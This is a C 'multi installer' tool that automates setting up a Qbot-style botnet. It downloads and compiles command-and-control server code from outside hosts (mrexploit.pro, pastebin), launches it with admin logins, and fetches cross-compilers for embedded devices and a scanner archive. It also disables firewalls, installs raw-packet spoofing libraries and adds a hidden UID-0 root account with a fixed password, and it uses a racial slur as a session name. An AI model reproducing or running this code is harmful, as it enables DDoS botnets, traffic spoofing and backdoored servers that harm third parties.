Multi installer in c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define RED     "\x1b[31m"
#define GREEN   "\x1b[32m"
#define RESET   "\x1b[0m"

void calculator() {
   int hax;
    float results, addition1, addition2, times1, times2, sub1, sub2, div1, div2;
    system("clear");
    printf(RED "1. Addition\n2. Subtraction\n3. Multiplication\n4. Division\n" RESET "\n");
    printf("Enter Choice: ");
    scanf("%d", &hax);

     if (hax == 1)
     {
        printf("You Have Entered Addition!\n\n");
        printf("Enter Number set 1 > ");
        scanf("%f", &addition1);
        printf("Enter Number set 2 > ");
        scanf("%f", &addition2);

        results = addition1 + addition2;
        printf(GREEN "%.2f + %.2f = %.2f\n", addition1, addition2, results);

     }
     else if (hax == 2)
     {
        printf("You Have Entered Subtraction!\n\n");
        printf("Enter Number set 1 > ");
        scanf("%f", &sub1);
        printf("Enter Number set 2 > ");
        scanf("%f", &sub2);

        results = sub1 - sub2;
        printf(GREEN "%.2f - %.2f = %.2f\n", sub1, sub2, results);
     }

     else if (hax == 3)
     {
        printf("You Have Entered Multiplication!\n\n");
        printf("Enter Number set 1 > ");
        scanf("%f", &times1);
        printf("Enter Number set 2 > ");
        scanf("%f", &times2);

        results = times1 * times2;
        printf(GREEN "%.2f - %.2f = %.2f\n", times1, times2, results);

     }
     else if (hax == 4)
     {
        printf("You Have Entered Division!\n\n");
        printf("Enter Number set 1 > ");
        scanf("%f", &div1);
        printf("Enter Number set 2 > ");
        scanf("%f", &div2);

        results = div1 / div2;
        printf(GREEN "%.2f - %.2f = %.2f\n", div1, div2, results);
     }
     else{
        printf("Error!\n");
     }
    return;
}

void installs() {
    int Choice;
    printf(RED "1.) Debian\n2.) Centos "RESET"\n");
    printf("Enter Choice: ");
    scanf("%d", &Choice);
    if (Choice == 1)
    {
        printf("Debian\n");
        system("apt-get update -y");
        system("apt-get upgrade -y");
        system("apt-get install epel-release");
        system("apt-get install gcc -y");
        system("apt-get install nmap -y");
        system("apt-get install nc -y");
        system("apt-get install tftp-hpa -y");
        system("apt-get install xinetd -y");
        system("apt-get install apache2 -y");
        system("service httpd start");
        system("service xinetd start");
        system("service tftpd-hpa start");
        system("iptables -F");
        system("chkconfig iptables off");
    }
    else if (Choice == 2)
    {
        /* code */
        printf("Centos\n");
        system("yum update -y");
        system("yum upgrade -y");
        system("yum install epel-release");
        system("yum install gcc -y");
        system("yum install nmap -y");
        system("yum install nc -y");
        system("yum install tftp-server -y");
        system("yum install xinetd -y");
        system("yum install httpd -y");
        system("service httpd start");
        system("service xinetd start");
        system("service iptables stop");
        system("iptables -F");
        system("chkconfig iptables off");
    }
    else if (Choice >= 3)
    {
        /* code */
        printf("Pick a Choice 1-2\n");
    }
    else {
        printf("Error!\n");
    }
}

 void archs() {
        printf(RED "Downloading archs "RESET"\n");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2");
        system("wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2");
        system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-x86_64.tar.bz2");
        printf(GREEN "Done Downloading Archs "RESET"\n");
        system("tar -jxf *tar.bz2");
        system("rm -rf *tar.bz2");
}

void cnc() {
    int Choice, portC, botport;
    char user[256], pass[256];
    char hackz[256];
    printf("What Server side do you wish to Use?\n1.) Purge\n2.) Hacker\n3.) New server side (Logs IPS)\n");
    printf("Enter Choice: ");
    scanf("%d", &Choice);
    if (Choice == 1)
    {
        system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
        system("wget http://mrexploit.pro/Archive/Qbot/Server-side/purge.c -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
        printf("Purge\n\n");
        printf("Enter Desitnated Botport: ");
        scanf("%d", &botport);
        printf("Enter Admin port: ");
        scanf("%d", &portC);
        printf("Enter username: ");
        scanf("%s", user);
        printf("Enter password: ");
        scanf("%s", pass);
        sprintf(hackz, "echo %s %s >> login.txt", user, pass);
        system(hackz);
        sprintf(hackz, "screen -dmS nigger ./kekserver %d 100 %d", botport, portC);
        system(hackz);
        printf("botnet started On Port: %d\n", portC);
        printf("Username: %s\nPassword: %s\n", user, pass);
    }
    else if (Choice == 2)
    {
        /* code */
        system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
        system("wget https://pastebin.com/raw/fXaMFiSP -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
        printf("Hacker\n");
        printf("Enter Desitnated Botport: ");
        scanf("%d", &botport);
        printf("Enter Admin port: ");
        scanf("%d", &portC);
        printf("Enter username: ");
        scanf("%s", user);
        printf("Enter password: ");
        scanf("%s", pass);
        sprintf(hackz, "echo %s %s >> login.txt", user, pass);
        system(hackz);
        sprintf(hackz, "screen -dmS lel ./kekserver %d 100 %d", botport, portC);
        system(hackz);
        printf("botnet started On Port: %d\n", portC);
        printf("Username: %s\nPassword: %s\n", user, pass);

    }
    else if (Choice == 3)
    {
        system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
        system("wget https://pastebin.com/raw/ipGgTegF -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
        printf("server side that logs ips\n");
        printf("Enter Desitnated Botport: ");
        scanf("%d", &botport);
        printf("Enter Admin port: ");
        scanf("%d", &portC);
        printf("Enter username: ");
        scanf("%s", user);
        printf("Enter password: ");
        scanf("%s", pass);
        sprintf(hackz, "echo %s %s >> login.txt", user, pass);
        system(hackz);
        sprintf(hackz, "screen -dmS kek ./kekserver %d 100 %d", botport, portC);
        system(hackz);
        printf("botnet started On Port: %d\n", portC);
        printf("Username: %s\nPassword: %s\n", user, pass);
    }
    else {
        printf("Error!\n");
    }
}
void download_scan()
{   int kek;
    printf("1.) Download LRAB\n");
    printf("Enter Choice: ");
    scanf("%d", &kek);
    if (kek == 1)
    {
        /* code */
        printf("Downloading LRAB\n");
        system("http://mrexploit.pro/Archive/Scanners/MyLRAB.zip");
        system("yum || apt-get install unzip -y");
        system("unzip MyLRAB.zip");
        system("chmod 777 MyLRAB/*");
    }
}
void FixMe()
{
    printf(RED "Fixing your net!\n" RESET);
    system("iptables -F");
    system("chkconfig iptables off");
    system("service iptables stop");
    system("sed -i 's/9999/99999/g' /usr/include/bits/typesizes.h");
    system("ulimit -n 99999 && ulimit -s 99999");
}
void Spoof_Me()
{
    system("yum install cpan -y || apt-get install cpan -y");
    system("yum install gcc -y || apt-get install gcc -y");
    system("yum install perl -y || apt-get install perl -y");
    system("yum install libpcap-devel -y || apt-get install libpcap-dev -y");
    system("yum install make -y || apt-get install make -y");
    system("cpan install Net::RawIP");

}
void addarootuser()
{   char kek[20], kek2[20];

    printf("Enter the username and password for your root user when prompt\n\n");
    printf("Enter username: ");
    scanf("%s", kek);
    char kekmes[512], kekmes2[256];
    sprintf(kekmes, "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash %s", kek);
    system(kekmes);
    sprintf(kekmes2, "echo -e 'changeme123\nchangeme123' | passwd %s", kek);
    system(kekmes2);
    printf(GREEN "User has been added!\nUsername: %s\nPassword: changeme123 \n", kek);
}
int main(int argc, char const *argv[])
{
    int cool;
    system("clear");
    printf(GREEN "1.) Calculator\n2.) Dependencies\n3.) Download Architectures\n4.) Server side setup \n5.) Download Scanner of your choice \n6.) Net Help (centos) \n7.) Enable spoofing \n8.) Add a root user"RESET"\n");
    printf("Enter Choice: ");
    scanf("%d", &cool);

    if (cool == 1)
    {
        /* code */
        printf(RED "Calculator\n");
        calculator();
    }
    else if (cool == 2)
    {
        /* code */
        printf(RED "Installs\n");
        installs();
    }
    else if (cool == 3)
    {
        printf("Cool!\n");
        archs();
    }
    else if (cool == 4)
    {
        /* code */
        printf(RED "Setting Up the server side\n");
        cnc();
    }
    else if (cool == 5)
    {
        /* code */
        printf(RED "Downloading Scanner of your choice\n");
        download_scan();
    }
    else if (cool == 6)
    {
        /* code */
        FixMe();
    }
    else if (cool == 7)
    {
        /* code */
        Spoof_Me();
    }
    else if (cool == 8)
    {
        /* code */
        addarootuser();
    }
    else if (cool >= 9)
    {
        /* code */
        printf(RED "Pick a Choice 1-6\n");
    }
    return 0;
}